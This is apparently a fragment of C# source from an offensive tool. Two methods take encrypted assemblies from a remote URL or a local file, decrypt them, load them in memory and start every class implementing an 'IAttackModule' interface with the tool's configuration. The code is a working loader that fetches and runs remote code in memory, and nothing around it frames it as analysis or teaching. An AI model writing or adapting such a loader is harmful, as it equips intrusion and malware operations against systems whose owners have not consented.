public void LoadRemote(string url) { try { using (WebClient client = new WebClient()) { Assembly asm = null; using (MemoryStream ostream = new MemoryStream()) { DecryptAssembly(client.DownloadData(url), ostream); asm = Assembly.Load(ostream.ToArray()); } foreach (Type t in asm.GetTypes()) { if (t.GetInterface(typeof(IAttackModule).FullName) != null) { IAttackModule module = (IAttackModule)t.GetConstructor(new Type[] { }).Invoke(new object[] { }); module.InitModule(VulcanConfiguration.Instance); } } } } catch (Exception ex) { Console.WriteLine("Fail: {0}", ex.ToString()); Console.Out.Flush(); } }
public void Load(string path) { try { Console.WriteLine("Load Plugin: {0}", path); Assembly asm = null; using (MemoryStream ostream = new MemoryStream()) { DecryptAssembly(File.ReadAllBytes(path), ostream); asm = Assembly.Load(ostream.ToArray()); } foreach (Type t in asm.GetTypes()) { if (t.GetInterface(typeof(IAttackModule).FullName) != null) { IAttackModule module = (IAttackModule)t.GetConstructor(new Type[] { }).Invoke(new object[] { }); module.InitModule(VulcanConfiguration.Instance); } } } catch (Exception ex) { Console.WriteLine("Fail: {0}", ex.ToString()); Console.Out.Flush(); } }